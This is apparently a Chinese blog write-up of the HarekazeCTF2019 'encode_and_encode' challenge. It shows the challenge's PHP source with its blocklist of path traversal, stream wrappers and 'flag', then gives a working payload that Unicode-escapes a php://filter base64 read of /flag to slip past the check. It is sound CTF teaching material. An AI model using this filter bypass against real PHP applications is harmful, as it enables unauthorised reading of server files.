[HarekazeCTF2019]encode_and_encode

[HarekazeCTF2019]encode_and_encode

考点:json_decode的unicode编码绕过

进入题目后,很容易就可以看到源码query.php

<?php
error_reporting(0);

if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}

function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
  $page = $json['page'];
  $content = file_get_contents($page);
  if (!$content || !is_valid($content)) {
    $content = "<p>not found</p>\n";
  }
} else {
  $content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

通过分析代码,在is_valid函数这块过滤了流控制器flag

function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

在这里通过post接受json数据然后解析

$body = file_get_contents('php://input');
$json = json_decode($body, true);

通过了两个判断

  1. post数据中不能存在黑名单内容,并且有page键
  2. 读取的文件内不能有黑名单内容且文件内容不为空
if (is_valid($body) && isset($json) && isset($json['page'])) {
  $page = $json['page'];
  $content = file_get_contents($page);
  if (!$content || !is_valid($content)) {
    $content = "<p>not found</p>\n";
  }
} else {
  $content = '<p>invalid request</p>';
}

通过查阅PHP的json_decode函数,发现Unicode编码后的内容通过json_decode可以被正常解析

<?php
$body = '{"page":"/fl\u0061g"}';
$a = json_decode($body,true);
var_dump($a['page']);

image-20211208225403126

因为是对$body进行过滤,最后file_get_contents的参数是解析过后的内容,然后再通过php://filter/read=conver.base64-encode用来绕过第二个判断和最后的replace

payload:
{"page":"php://filter/read=convert.base64-encode/resource=/flag"}
unicode encode=>
{"page":"\u0070\u0068\u0070\u003a\u002f\u002f\u0066\u0069\u006c\u0074\u0065\u0072\u002f\u0072\u0065\u0061\u0064\u003d\u0063\u006f\u006e\u0076\u0065\u0072\u0074\u002e\u0062\u0061\u0073\u0065\u0036\u0034\u002d\u0065\u006e\u0063\u006f\u0064\u0065\u002f\u0072\u0065\u0073\u006f\u0075\u0072\u0063\u0065\u003d\u002f\u0066\u006c\u0061\u0067"}

这里我用HackBar传json数据失败了,这里用的postman,当然用bp也是可以的

image-20211208225928494

posted @ 2023-01-08 23:17  seizer-zyx  阅读(105)  评论(0编辑  收藏  举报